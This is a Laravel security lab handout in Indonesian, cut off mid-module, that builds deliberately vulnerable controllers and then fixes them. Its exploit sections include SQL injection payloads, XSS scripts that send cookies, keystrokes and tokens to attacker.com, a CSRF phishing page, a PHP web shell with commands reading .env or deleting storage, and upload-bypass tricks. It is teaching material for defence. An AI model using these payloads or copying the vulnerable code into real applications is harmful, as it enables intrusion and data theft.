Eksploitasi Web Laravel dan Antisipasinya



This content originally appeared on DEV Community and was authored by ahmadasroni38

DAFTAR ISI

  1. Pendahuluan
  2. Persiapan Environment
  3. Pertemuan 6: Eksploitasi Dasar
  4. Pertemuan 7: Eksploitasi Lanjutan
  5. Kesimpulan

PENDAHULUAN

Tujuan Praktikum

Setelah menyelesaikan praktikum ini, mahasiswa diharapkan dapat:

  1. Memahami berbagai jenis eksploitasi web pada aplikasi Laravel
  2. Melakukan simulasi serangan dalam lingkungan yang terkontrol
  3. Mengimplementasikan teknik mitigasi dan pencegahan
  4. Membangun aplikasi Laravel yang aman

Capaian Pembelajaran

  • C1 (Knowledge): Memahami konsep keamanan web dan vulnerability Laravel
  • C3 (Application): Melakukan eksploitasi dalam lab environment
  • C4 (Analysis): Menganalisis celah keamanan aplikasi
  • C5 (Synthesis): Merancang solusi keamanan yang tepat

PERSIAPAN ENVIRONMENT

Requirement Sistem

- PHP 8.1+
- Composer 2.x
- MySQL 8.0+ / PostgreSQL
- Laravel 10.x
- Git

Setup Project Praktikum

# 1. Buat project Laravel baru
composer create-project laravel/laravel security-lab "10.*"
cd security-lab

# 2. Konfigurasi database (.env)
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=security_lab
DB_USERNAME=root
DB_PASSWORD=

# 3. Install dependencies tambahan
composer require laravel/breeze --dev
php artisan breeze:install blade
npm install && npm run dev

# 4. Migrate database
php artisan migrate

# 5. Jalankan server
php artisan serve

Struktur Project

security-lab/
├── app/
│   ├── Http/
│   │   ├── Controllers/
│   │   └── Middleware/
│   └── Models/
├── database/
│   ├── migrations/
│   └── seeders/
├── resources/
│   └── views/
└── routes/
    └── web.php

PERTEMUAN 1: EKSPLOITASI DASAR

Durasi: 3 Jam

Topik: SQL Injection, XSS, CSRF, Mass Assignment

MODUL 1: SQL INJECTION

1.1 Teori Singkat

SQL Injection adalah teknik injeksi kode yang mengeksploitasi celah keamanan pada layer database aplikasi. Penyerang dapat memanipulasi query SQL untuk mengakses, memodifikasi, atau menghapus data.

1.2 Skenario Vulnerable Code

Buat Controller Vulnerable:

php artisan make:controller VulnerableUserController

File: app/Http/Controllers/VulnerableUserController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;

class VulnerableUserController extends Controller
{
    // VULNERABLE: SQL Injection
    public function searchVulnerable(Request $request)
    {
        $search = $request->input('search');

        // BAHAYA: Query langsung tanpa sanitasi
        $users = DB::select("SELECT * FROM users WHERE name LIKE '%$search%'");

        return view('users.search', compact('users'));
    }
}

Buat View:

mkdir -p resources/views/users

File: resources/views/users/search.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>User Search - VULNERABLE</title>
</head>
<body>
    <h1>Search Users (VULNERABLE VERSION)</h1>

    <form method="GET" action="/vulnerable/search">
        <input type="text" name="search" placeholder="Search name...">
        <button type="submit">Search</button>
    </form>

    @if(isset($users))
        <h2>Results:</h2>
        <table border="1">
            <tr>
                <th>ID</th>
                <th>Name</th>
                <th>Email</th>
            </tr>
            @foreach($users as $user)
            <tr>
                <td>{{ $user->id }}</td>
                <td>{{ $user->name }}</td>
                <td>{{ $user->email }}</td>
            </tr>
            @endforeach
        </table>
    @endif
</body>
</html>

Route: routes/web.php

use App\Http\Controllers\VulnerableUserController;

Route::get('/vulnerable/search', [VulnerableUserController::class, 'searchVulnerable']);

1.3 Eksploitasi SQL Injection

Test Serangan:

Payload 1 (Basic): ' OR '1'='1
URL: http://localhost:8000/vulnerable/search?search=' OR '1'='1

Payload 2 (Union-based): ' UNION SELECT 1,2,3--
URL: http://localhost:8000/vulnerable/search?search=' UNION SELECT 1,2,3--

Payload 3 (Bypass): admin'--
URL: http://localhost:8000/vulnerable/search?search=admin'--

Hasil Eksploitasi:

  • Payload 1: Menampilkan semua user
  • Payload 2: Mengambil data dari tabel lain
  • Payload 3: Bypass authentication

1.4 Mitigasi SQL Injection

Buat Controller Secure:

php artisan make:controller SecureUserController

File: app/Http/Controllers/SecureUserController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Models\User;

class SecureUserController extends Controller
{
    // SECURE: Menggunakan Eloquent ORM
    public function searchSecure(Request $request)
    {
        $search = $request->validated(['search' => 'nullable|string|max:255']);

        // Metode 1: Eloquent ORM (Recommended)
        $users = User::where('name', 'LIKE', "%{$search}%")->get();

        return view('users.search-secure', compact('users'));
    }

    // SECURE: Menggunakan Query Builder dengan Parameter Binding
    public function searchSecureQueryBuilder(Request $request)
    {
        $search = $request->input('search');

        // Metode 2: Parameter Binding
        $users = DB::select(
            "SELECT * FROM users WHERE name LIKE ?", 
            ["%{$search}%"]
        );

        return view('users.search-secure', compact('users'));
    }

    // SECURE: Dengan validasi ketat
    public function searchSecureValidated(Request $request)
    {
        $validated = $request->validate([
            'search' => 'required|string|max:100|alpha_dash'
        ]);

        $users = User::where('name', 'LIKE', "%{$validated['search']}%")->get();

        return view('users.search-secure', compact('users'));
    }
}

Best Practices SQL Injection Prevention:

// ✅ BAIK: Eloquent ORM
User::where('email', $email)->first();

// ✅ BAIK: Query Builder dengan binding
DB::table('users')->where('email', '=', $email)->get();

// ✅ BAIK: Named bindings
DB::select('SELECT * FROM users WHERE email = :email', ['email' => $email]);

// ❌ BURUK: Raw query tanpa binding
DB::select("SELECT * FROM users WHERE email = '$email'");

// ❌ BURUK: Concatenation
DB::table('users')->whereRaw("email = '$email'")->get();

MODUL 2: CROSS-SITE SCRIPTING (XSS)

2.1 Teori Singkat

XSS memungkinkan penyerang menginjeksi script berbahaya (biasanya JavaScript) ke halaman web yang dilihat oleh pengguna lain.

Jenis XSS:

  1. Stored XSS: Script disimpan di database
  2. Reflected XSS: Script di-reflect dari input user
  3. DOM-based XSS: Manipulasi DOM di sisi klien

2.2 Skenario Vulnerable Code

Buat Model dan Migration:

php artisan make:model Comment -m

File: database/migrations/xxxx_create_comments_table.php

public function up()
{
    Schema::create('comments', function (Blueprint $table) {
        $table->id();
        $table->foreignId('user_id')->constrained()->onDelete('cascade');
        $table->text('content');
        $table->timestamps();
    });
}
php artisan migrate

Buat Controller:

php artisan make:controller CommentController

File: app/Http/Controllers/CommentController.php

<?php

namespace App\Http\Controllers;

use App\Models\Comment;
use Illuminate\Http\Request;

class CommentController extends Controller
{
    // VULNERABLE: Stored XSS
    public function storeVulnerable(Request $request)
    {
        Comment::create([
            'user_id' => auth()->id() ?? 1,
            'content' => $request->input('content') // Tidak ada sanitasi
        ]);

        return redirect()->back();
    }

    public function indexVulnerable()
    {
        $comments = Comment::all();
        return view('comments.index-vulnerable', compact('comments'));
    }
}

File: resources/views/comments/index-vulnerable.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Comments - VULNERABLE</title>
</head>
<body>
    <h1>Comments Section (VULNERABLE)</h1>

    <form method="POST" action="/vulnerable/comments">
        @csrf
        <textarea name="content" rows="4" cols="50"></textarea><br>
        <button type="submit">Submit Comment</button>
    </form>

    <h2>All Comments:</h2>
    @foreach($comments as $comment)
        <div style="border:1px solid #ccc; padding:10px; margin:10px 0;">
            <!-- BAHAYA: Menampilkan content tanpa escape -->
            <p>{!! $comment->content !!}</p>
            <small>Posted at: {{ $comment->created_at }}</small>
        </div>
    @endforeach
</body>
</html>

Route:

Route::post('/vulnerable/comments', [CommentController::class, 'storeVulnerable']);
Route::get('/vulnerable/comments', [CommentController::class, 'indexVulnerable']);

2.3 Eksploitasi XSS

Test Serangan:

<!-- Payload 1: Alert Box -->
<script>alert('XSS Vulnerable!')</script>

<!-- Payload 2: Cookie Stealing -->
<script>
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

<!-- Payload 3: Redirect -->
<script>window.location='https://malicious-site.com'</script>

<!-- Payload 4: Keylogger -->
<script>
    document.onkeypress = function(e) {
        fetch('https://attacker.com/log?key=' + e.key);
    }
</script>

<!-- Payload 5: DOM Manipulation -->
<img src=x onerror="document.body.innerHTML='<h1>HACKED!</h1>'">

<!-- Payload 6: Session Hijacking -->
<script>
    var sessionToken = localStorage.getItem('token');
    fetch('https://attacker.com/steal?token=' + sessionToken);
</script>

2.4 Mitigasi XSS

Controller Secure:

<?php

namespace App\Http\Controllers;

use App\Models\Comment;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;

class CommentController extends Controller
{
    // SECURE: Dengan validasi dan sanitasi
    public function storeSecure(Request $request)
    {
        $validated = $request->validate([
            'content' => 'required|string|max:1000'
        ]);

        // Laravel otomatis escape HTML entities
        Comment::create([
            'user_id' => auth()->id() ?? 1,
            'content' => $validated['content']
        ]);

        return redirect()->back()->with('success', 'Comment posted!');
    }

    public function indexSecure()
    {
        $comments = Comment::all();
        return view('comments.index-secure', compact('comments'));
    }
}

File: resources/views/comments/index-secure.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Comments - SECURE</title>
    <meta name="csrf-token" content="{{ csrf_token() }}">
</head>
<body>
    <h1>Comments Section (SECURE)</h1>

    <form method="POST" action="/secure/comments">
        @csrf
        <textarea name="content" rows="4" cols="50" maxlength="1000"></textarea><br>
        <button type="submit">Submit Comment</button>
    </form>

    @if(session('success'))
        <p style="color: green;">{{ session('success') }}</p>
    @endif

    <h2>All Comments:</h2>
    @foreach($comments as $comment)
        <div style="border:1px solid #ccc; padding:10px; margin:10px 0;">
            <!-- ✅ SECURE: Menggunakan {{ }} untuk auto-escape -->
            <p>{{ $comment->content }}</p>
            <small>Posted at: {{ $comment->created_at }}</small>
        </div>
    @endforeach
</body>
</html>

Best Practices XSS Prevention:

// ✅ BAIK: Auto-escape dengan {{ }}
{{ $userInput }}

// ✅ BAIK: Manual escape
{{ e($userInput) }}
{{ htmlspecialchars($userInput) }}

// ✅ BAIK: Strip tags
{{ strip_tags($userInput) }}

// ❌ BURUK: Raw output
{!! $userInput !!}

// ✅ BAIK: Content Security Policy (CSP)
// File: app/Http/Middleware/AddSecurityHeaders.php

Tambahkan Middleware CSP:

php artisan make:middleware AddSecurityHeaders
<?php

namespace App\Http\Middleware;

use Closure;

class AddSecurityHeaders
{
    public function handle($request, Closure $next)
    {
        $response = $next($request);

        $response->headers->set('X-Content-Type-Options', 'nosniff');
        $response->headers->set('X-Frame-Options', 'DENY');
        $response->headers->set('X-XSS-Protection', '1; mode=block');
        $response->headers->set('Content-Security-Policy', "default-src 'self'; script-src 'self'");

        return $response;
    }
}

Register di app/Http/Kernel.php:

protected $middlewareGroups = [
    'web' => [
        // ... middleware lain
        \App\Http\Middleware\AddSecurityHeaders::class,
    ],
];

MODUL 3: CROSS-SITE REQUEST FORGERY (CSRF)

3.1 Teori Singkat

CSRF memaksa user yang sudah terautentikasi untuk melakukan aksi yang tidak diinginkan pada aplikasi web tanpa sepengetahuan mereka.

3.2 Skenario Vulnerable Code

Buat Controller:

php artisan make:controller ProfileController

File: app/Http/Controllers/ProfileController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Models\User;

class ProfileController extends Controller
{
    // VULNERABLE: Tanpa CSRF protection
    public function updateVulnerable(Request $request)
    {
        $user = User::find(auth()->id() ?? 1);
        $user->update([
            'email' => $request->input('email')
        ]);

        return redirect()->back()->with('success', 'Profile updated!');
    }
}

File: resources/views/profile/edit-vulnerable.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Edit Profile - VULNERABLE</title>
</head>
<body>
    <h1>Edit Profile (VULNERABLE)</h1>

    <!-- BAHAYA: Tidak ada CSRF token -->
    <form method="POST" action="/vulnerable/profile/update">
        <label>Email:</label>
        <input type="email" name="email" value="{{ auth()->user()->email ?? 'user@example.com' }}"><br>
        <button type="submit">Update Profile</button>
    </form>
</body>
</html>

Route (VULNERABLE – Tanpa middleware csrf):

// JANGAN LAKUKAN INI DI PRODUCTION!
Route::post('/vulnerable/profile/update', [ProfileController::class, 'updateVulnerable'])
    ->withoutMiddleware([\App\Http\Middleware\VerifyCsrfToken::class]);

3.3 Eksploitasi CSRF

Buat File Attack HTML (di luar aplikasi Laravel):

File: csrf-attack.html

<!DOCTYPE html>
<html>
<head>
    <title>Win iPhone 15 Pro!</title>
</head>
<body>
    <h1>Congratulations! Click below to claim your prize!</h1>
    <button onclick="document.getElementById('csrfForm').submit()">Claim Prize</button>

    <!-- Hidden form untuk serangan CSRF -->
    <form id="csrfForm" method="POST" action="http://localhost:8000/vulnerable/profile/update" style="display:none;">
        <input type="email" name="email" value="hacker@evil.com">
    </form>

    <!-- Auto-submit menggunakan JavaScript -->
    <script>
        // Otomatis submit saat halaman dimuat
        // window.onload = function() {
        //     document.getElementById('csrfForm').submit();
        // }
    </script>
</body>
</html>

Skenario Serangan:

  1. Victim login ke aplikasi Laravel (http://localhost:8000)
  2. Victim membuka link phishing yang berisi csrf-attack.html
  3. Form hidden otomatis ter-submit
  4. Email victim berubah menjadi hacker@evil.com

3.4 Mitigasi CSRF

Controller Secure (menggunakan middleware CSRF Laravel):

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Models\User;

class ProfileController extends Controller
{
    // SECURE: Laravel CSRF protection aktif
    public function updateSecure(Request $request)
    {
        $validated = $request->validate([
            'email' => 'required|email|unique:users,email,' . auth()->id()
        ]);

        $user = User::find(auth()->id());
        $user->update($validated);

        return redirect()->back()->with('success', 'Profile updated securely!');
    }
}

File: resources/views/profile/edit-secure.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Edit Profile - SECURE</title>
    <meta name="csrf-token" content="{{ csrf_token() }}">
</head>
<body>
    <h1>Edit Profile (SECURE)</h1>

    <form method="POST" action="/secure/profile/update">
        <!-- ✅ SECURE: CSRF Token -->
        @csrf

        <label>Email:</label>
        <input type="email" name="email" value="{{ auth()->user()->email ?? 'user@example.com' }}" required><br>

        <button type="submit">Update Profile</button>
    </form>

    @if(session('success'))
        <p style="color: green;">{{ session('success') }}</p>
    @endif
</body>
</html>

Route (SECURE – Dengan middleware csrf):

Route::post('/secure/profile/update', [ProfileController::class, 'updateSecure'])
    ->middleware('auth');

CSRF Protection untuk AJAX:

<script>
// Setup CSRF token untuk semua AJAX request
$.ajaxSetup({
    headers: {
        'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
    }
});

// Atau menggunakan Fetch API
fetch('/secure/profile/update', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').content
    },
    body: JSON.stringify({
        email: 'newemail@example.com'
    })
})
.then(response => response.json())
.then(data => console.log(data));
</script>

Best Practices CSRF Prevention:

// ✅ BAIK: Selalu gunakan @csrf dalam form
<form method="POST">
    @csrf
    <!-- form fields -->
</form>

// ✅ BAIK: Verifikasi CSRF token di middleware
// Sudah default di Laravel (VerifyCsrfToken middleware)

// ✅ BAIK: Gunakan SameSite cookie
// config/session.php
'same_site' => 'lax', // atau 'strict'

// ✅ BAIK: Double Submit Cookie Pattern (alternatif)
Route::post('/action', function(Request $request) {
    if ($request->cookie('csrf') !== $request->input('csrf_token')) {
        abort(403, 'CSRF token mismatch');
    }
    // Process request
});

// ❌ BURUK: Menonaktifkan CSRF protection
// Jangan pernah lakukan ini kecuali untuk API stateless dengan token authentication

MODUL 4: MASS ASSIGNMENT

4.1 Teori Singkat

Mass Assignment vulnerability terjadi ketika aplikasi secara otomatis assign input dari request ke model properties tanpa filtering yang tepat, memungkinkan attacker memodifikasi field yang tidak seharusnya.

4.2 Skenario Vulnerable Code

Buat Model:

php artisan make:model Product -m

File: database/migrations/xxxx_create_products_table.php

public function up()
{
    Schema::create('products', function (Blueprint $table) {
        $table->id();
        $table->string('name');
        $table->text('description');
        $table->decimal('price', 10, 2);
        $table->integer('stock');
        $table->boolean('is_featured')->default(false);
        $table->boolean('is_admin_only')->default(false);
        $table->timestamps();
    });
}
php artisan migrate

Model VULNERABLE:

File: app/Models/Product.php

<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class Product extends Model
{
    // BAHAYA: Menggunakan $guarded = [] atau tanpa $fillable
    protected $guarded = []; // Semua field bisa di-assign!

    // Atau tidak mendefinisikan sama sekali (lebih bahaya)
}

Controller:

php artisan make:controller ProductController

File: app/Http/Controllers/ProductController.php

<?php

namespace App\Http\Controllers;

use App\Models\Product;
use Illuminate\Http\Request;

class ProductController extends Controller
{
    // VULNERABLE: Mass Assignment
    public function storeVulnerable(Request $request)
    {
        // BAHAYA: Semua input langsung di-assign
        $product = Product::create($request->all());

        return redirect()->back()->with('success', 'Product created!');
    }

    public function updateVulnerable(Request $request, $id)
    {
        $product = Product::findOrFail($id);

        // BAHAYA: Update tanpa filtering
        $product->update($request->all());

        return redirect()->back()->with('success', 'Product updated!');
    }
}

File: resources/views/products/create-vulnerable.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Create Product - VULNERABLE</title>
</head>
<body>
    <h1>Create Product (VULNERABLE)</h1>

    <form method="POST" action="/vulnerable/products">
        @csrf
        <label>Name:</label>
        <input type="text" name="name" required><br>

        <label>Description:</label>
        <textarea name="description" required></textarea><br>

        <label>Price:</label>
        <input type="number" step="0.01" name="price" required><br>

        <label>Stock:</label>
        <input type="number" name="stock" required><br>

        <button type="submit">Create Product</button>
    </form>
</body>
</html>

4.3 Eksploitasi Mass Assignment

Test Serangan menggunakan cURL atau Postman:

# Serangan 1: Mengatur is_featured=true (seharusnya hanya admin)
curl -X POST http://localhost:8000/vulnerable/products \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "name=Hacked Product&description=Test&price=100&stock=10&is_featured=1&is_admin_only=1"

# Serangan 2: Modify dengan form HTML custom

File: mass-assignment-attack.html

<!DOCTYPE html>
<html>
<body>
    <h1>Create Product (With Hidden Fields)</h1>

    <form method="POST" action="http://localhost:8000/vulnerable/products">
        <input type="text" name="name" value="Normal Product"><br>
        <textarea name="description">Normal Description</textarea><br>
        <input type="number" name="price" value="100"><br>
        <input type="number" name="stock" value="10"><br>

        <!-- Hidden malicious fields -->
        <input type="hidden" name="is_featured" value="1">
        <input type="hidden" name="is_admin_only" value="1">
        <input type="hidden" name="price" value="0.01"> <!-- Override price -->

        <button type="submit">Submit</button>
    </form>
</body>
</html>

Hasil:

  • Produk yang dibuat akan memiliki is_featured=true dan is_admin_only=true
  • Attacker bisa mengubah field yang tidak terlihat di form

4.4 Mitigasi Mass Assignment

Model SECURE:

File: app/Models/Product.php

<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class Product extends Model
{
    // ✅ SECURE: Whitelist dengan $fillable
    protected $fillable = [
        'name',
        'description',
        'price',
        'stock'
    ];

    // ✅ SECURE: Blacklist dengan $guarded (alternatif)
    // protected $guarded = [
    //     'is_featured',
    //     'is_admin_only'
    // ];

    // Field yang tidak boleh di-mass assign
    protected $hidden = [
        'is_admin_only'
    ];
}

Controller SECURE:

<?php

namespace App\Http\Controllers;

use App\Models\Product;
use Illuminate\Http\Request;

class ProductController extends Controller
{
    // SECURE: Dengan validasi eksplisit
    public function storeSecure(Request $request)
    {
        $validated = $request->validate([
            'name' => 'required|string|max:255',
            'description' => 'required|string',
            'price' => 'required|numeric|min:0',
            'stock' => 'required|integer|min:0'
        ]);

        // Hanya field yang divalidasi yang di-assign
        $product = Product::create($validated);

        // Field sensitive di-set manual oleh admin
        if (auth()->user()->is_admin ?? false) {
            $product->is_featured = $request->boolean('is_featured');
            $product->save();
        }

        return redirect()->back()->with('success', 'Product created securely!');
    }

    // SECURE: Menggunakan only() untuk filtering
    public function storeSecureV2(Request $request)
    {
        $data = $request->only(['name', 'description', 'price', 'stock']);
        $product = Product::create($data);

        return redirect()->back()->with('success', 'Product created!');
    }

    // SECURE: Manual assignment
    public function storeSecureV3(Request $request)
    {
        $product = new Product();
        $product->name = $request->input('name');
        $product->description = $request->input('description');
        $product->price = $request->input('price');
        $product->stock = $request->input('stock');
        $product->save();

        return redirect()->back()->with('success', 'Product created!');
    }
}

Best Practices Mass Assignment Prevention:

// ✅ BAIK: Definisikan $fillable di model
protected $fillable = ['name', 'email', 'password'];

// ✅ BAIK: Atau gunakan $guarded untuk blacklist
protected $guarded = ['is_admin', 'role'];

// ✅ BAIK: Validasi input sebelum create/update
$validated = $request->validate([...]);
Model::create($validated);

// ✅ BAIK: Gunakan only() untuk filtering
$data = $request->only(['name', 'email']);

// ✅ BAIK: Manual assignment untuk field sensitive
$user = new User($validated);
$user->role = 'user'; // Set securely
$user->save();

// ❌ BURUK: $guarded = []
protected $guarded = [];

// ❌ BURUK: Tanpa validasi
Model::create($request->all());

// ❌ BURUK: update() tanpa filtering
$model->update($request->all());

TUGAS PERTEMUAN 1

Tugas Mandiri

  1. SQL Injection:

    • Implementasikan fitur login dengan vulnerability SQL Injection
    • Buat exploit untuk bypass authentication
    • Perbaiki dengan menggunakan parameter binding
  2. XSS:

    • Buat blog sederhana dengan stored XSS vulnerability
    • Implementasikan 3 payload XSS berbeda
    • Perbaiki dengan proper escaping dan CSP
  3. CSRF:

    • Buat fitur delete account dengan CSRF vulnerability
    • Buat halaman attack eksternal
    • Implementasikan CSRF token protection
  4. Mass Assignment:

    • Buat user registration dengan role assignment vulnerability
    • Exploit untuk membuat admin user
    • Perbaiki dengan $fillable/$guarded

Laporan Praktikum 1

Buat laporan yang berisi:

  1. Screenshot hasil eksploitasi
  2. Penjelasan teknis setiap vulnerability
  3. Kode vulnerable dan secure (before/after)
  4. Analisis dampak setiap serangan
  5. Kesimpulan dan rekomendasi

PERTEMUAN 2: EKSPLOITASI LANJUTAN

Durasi: 3 Jam

Topik: File Upload Vulnerability, Authentication Bypass, Command Injection, Insecure Deserialization

MODUL 5: FILE UPLOAD VULNERABILITY

5.1 Teori Singkat

File upload vulnerability terjadi ketika aplikasi tidak memvalidasi file yang di-upload dengan benar, memungkinkan attacker meng-upload file berbahaya seperti web shell.

5.2 Skenario Vulnerable Code

Buat Model dan Migration:

php artisan make:model Document -m

File: database/migrations/xxxx_create_documents_table.php

public function up()
{
    Schema::create('documents', function (Blueprint $table) {
        $table->id();
        $table->foreignId('user_id')->constrained();
        $table->string('filename');
        $table->string('filepath');
        $table->string('mime_type')->nullable();
        $table->integer('filesize')->nullable();
        $table->timestamps();
    });
}
php artisan migrate

Controller VULNERABLE:

php artisan make:controller FileUploadController

File: app/Http/Controllers/FileUploadController.php

<?php

namespace App\Http\Controllers;

use App\Models\Document;
use Illuminate\Http\Request;

class FileUploadController extends Controller
{
    // VULNERABLE: File Upload tanpa validasi
    public function uploadVulnerable(Request $request)
    {
        if ($request->hasFile('document')) {
            $file = $request->file('document');

            // BAHAYA: Tidak ada validasi tipe file
            $filename = $file->getClientOriginalName();

            // BAHAYA: Simpan dengan nama asli (bisa overwrite)
            $path = $file->move(public_path('uploads'), $filename);

            Document::create([
                'user_id' => auth()->id() ?? 1,
                'filename' => $filename,
                'filepath' => 'uploads/' . $filename
            ]);

            return redirect()->back()->with('success', 'File uploaded!');
        }

        return redirect()->back()->with('error', 'No file uploaded.');
    }

    public function indexVulnerable()
    {
        $documents = Document::all();
        return view('uploads.index-vulnerable', compact('documents'));
    }
}

File: resources/views/uploads/index-vulnerable.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>File Upload - VULNERABLE</title>
</head>
<body>
    <h1>Upload Document (VULNERABLE)</h1>

    <form method="POST" action="/vulnerable/upload" enctype="multipart/form-data">
        @csrf
        <input type="file" name="document">
        <button type="submit">Upload</button>
    </form>

    @if(session('success'))
        <p style="color: green;">{{ session('success') }}</p>
    @endif

    <h2>Uploaded Files:</h2>
    <ul>
        @foreach($documents as $doc)
        <li>
            <a href="/uploads/{{ $doc->filename }}" target="_blank">
                {{ $doc->filename }}
            </a>
        </li>
        @endforeach
    </ul>
</body>
</html>

Route:

Route::post('/vulnerable/upload', [FileUploadController::class, 'uploadVulnerable']);
Route::get('/vulnerable/upload', [FileUploadController::class, 'indexVulnerable']);

5.3 Eksploitasi File Upload

Buat Web Shell PHP:

File: shell.php

<?php
// Simple Web Shell
if(isset($_REQUEST['cmd'])) {
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
}
?>
<form method="GET">
    <input type="text" name="cmd" placeholder="Enter command">
    <button type="submit">Execute</button>
</form>

Langkah Eksploitasi:

  1. Upload shell.php melalui form
  2. Akses shell di: http://localhost:8000/uploads/shell.php
  3. Eksekusi command:
    • ls -la – list files
    • cat .env – baca environment variables
    • whoami – cek user yang menjalankan
    • rm -rf storage/* – hapus storage (JANGAN LAKUKAN!)

Variasi Serangan:

// Shell dengan nama double extension
shell.php.jpg

// Shell dengan null byte injection (PHP < 5.3.4)
shell.php%00.jpg

// Shell dengan case manipulation
shell.PHP
shell.pHp

// Polyglot file (valid image + PHP code)
// GIF89a<?php system($_GET['cmd']); ?>

Upload Malicious File via cURL:

curl -X POST http://localhost:8000/vulnerable/upload \
  -F "document=@shell.php" \
  -H "Cookie: laravel_session=..."

5.4 Mitigasi File Upload Vulnerability

Controller SECURE:

<?php

namespace App\Http\Controllers;

use App\Models\Document;
use Illuminate\Http\Request;
use Illuminate\Support\Str;
use Illuminate\Support\Facades\Storage;

class FileUploadController extends Controller
{
    // SECURE: File Upload dengan validasi lengkap
    public function uploadSecure(Request $request)
    {
        $validated = $request->validate([
            'document' => 'required|file|mimes:pdf,doc,docx,jpg,jpeg,png|max:2048' // 2MB
        ]);

        if ($request->hasFile('document')) {
            $file = $request->file('document');

            // Generate nama file unik
            $filename = Str::uuid() . '.' . $file->getClientOriginalExtension();

            // Simpan di storage private (bukan public)
            $path = $file->storeAs('documents', $filename, 'private');

            // Verifikasi MIME type dari content
            $mimeType = $file->getMimeType();
            $allowedMimes = ['application/pdf', 'image/jpeg', 'image/png'];

            if (!in_array($mimeType, $allowedMimes)) {
                return redirect()->back()->with('error', 'Invalid file type!');
            }

            Document::create([
                'user_id' => auth()->id(),
                'filename' => $file->getClientOriginalName(),
                'filepath' => $path,
                'mime_type' => $mimeType,
                'filesize' => $file->getSize()
            ]);

            return redirect()->back()->with('success', 'File uploaded securely!');
        }

        return redirect()->back()->with('error', 'No file uploaded.');
    }

    // Download file securely
    public function downloadSecure($id)
    {
        $document = Document::findOrFail($id);

        // Verifikasi ownership
        if ($document->user_id !== auth()->id() && !auth()->user()->is_admin) {
            abort(403, 'Unauthorized');
        }

        // Download dari private storage
        return Storage::disk('private')->download(
            $document->filepath,
            $document->filename
        );
    }
}

File: resources/views/uploads/index-secure.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>File Upload - SECURE</title>
</head>
<body>
    <h1>Upload Document (SECURE)</h1>

    <form method="POST" action="/secure/upload" enctype="multipart/form-data">
        @csrf
        <input type="file" name="document" accept=".pdf,.doc,.docx,.jpg,.jpeg,.png">
        <button type="submit">Upload</button>
        <p><small>Allowed: PDF, DOC, DOCX, JPG, PNG (Max 2MB)</small></p>
    </form>

    @if($errors->any())
        <p style="color: red;">{{ $errors->first() }}</p>
    @endif

    @if(session('success'))
        <p style="color: green;">{{ session('success') }}</p>
    @endif

    <h2>Your Files:</h2>
    <ul>
        @foreach($documents as $doc)
        <li>
            <a href="/secure/download/{{ $doc->id }}">
                {{ $doc->filename }}
            </a>
            ({{ number_format($doc->filesize / 1024, 2) }} KB)
        </li>
        @endforeach
    </ul>
</body>
</html>

Konfigurasi Storage:

File: config/filesystems.php

'disks' => [
    'private' => [
        'driver' => 'local',
        'root' => storage_path('app/private'),
        'visibility' => 'private',
    ],
],

Best Practices File Upload Security:

// ✅ BAIK: Validasi tipe file dengan whitelist
'file' => 'required|mimes:pdf,docx|max:2048'

// ✅ BAIK: Verifikasi MIME type dari content (bukan extension)
$mimeType = $file->getMimeType();

// ✅ BAIK: Generate nama file unik
$filename = Str::uuid() . '.' . $extension;

// ✅ BAIK: Simpan di storage private
$file->storeAs('documents', $filename, 'private');

// ✅ BAIK: Scan virus (dengan ClamAV)
// composer require xenolope/quahog
$scanner = new \Xenolope\Quahog\Client(...);
$result = $scanner->scanFile($file->path());

// ✅ BAIK: Set permission file
chmod(storage_path('app/private/' . $filename), 0644);

// ❌ BURUK: Simpan dengan nama asli
$file->move(public_path('uploads'), $file->getClientOriginalName());

// ❌ BURUK: Validasi hanya dari extension
if (pathinfo($filename, PATHINFO_EXTENSION) === 'jpg') { ... }

// ❌ BURUK: Simpan di public directory
$file->move(public_path('uploads'), ...);

// ❌ BURUK: Tidak ada size limit

Image Validation dengan Intervention Image:

composer require intervention/image
use Intervention\Image\Facades\Image;

public function uploadImage(Request $request)
{
    $validated = $request->validate([
        'image' => 'required|image|max:2048'
    ]);

    $image = $request->file('image');

    // Verify it's actually an image
    try {
        $img = Image::make($image->path());

        // Resize to prevent large files
        $img->resize(1920, 1080, function ($constraint) {
            $constraint->aspectRatio();
            $constraint->upsize();
        });

        // Remove EXIF data (privacy)
        $img->orientate();

        // Save
        $filename = Str::uuid() . '.jpg';
        $img->save(storage_path('app/private/images/' . $filename), 85);

    } catch (\Exception $e) {
        return back()->with('error', 'Invalid image file');
    }
}

MODUL 6: AUTHENTICATION & AUTHORIZATION BYPASS

6.1 Teori Singkat

Authentication bypass memungkinkan attacker mengakses sistem tanpa kredensial yang valid. Authorization bypass memungkinkan attacker mengakses resource yang seharusnya tidak dapat mereka akses.

6.2 Skenario Vulnerable Code

Setup Authentication:

php artisan make:migration add_role_to_users_table

File: database/migrations/xxxx_add_role_to_users_table.php

public function up()
{
    Schema::table('users', function (Blueprint $table) {
        $table->enum('role', ['user', 'admin'])->default('user');
    });
}
php artisan migrate

Controller VULNERABLE:

php artisan make:controller AdminController

File: app/Http/Controllers/AdminController.php

<?php

namespace App\Http\Controllers;

use App\Models\User;
use Illuminate\Http\Request;

class AdminController extends Controller
{
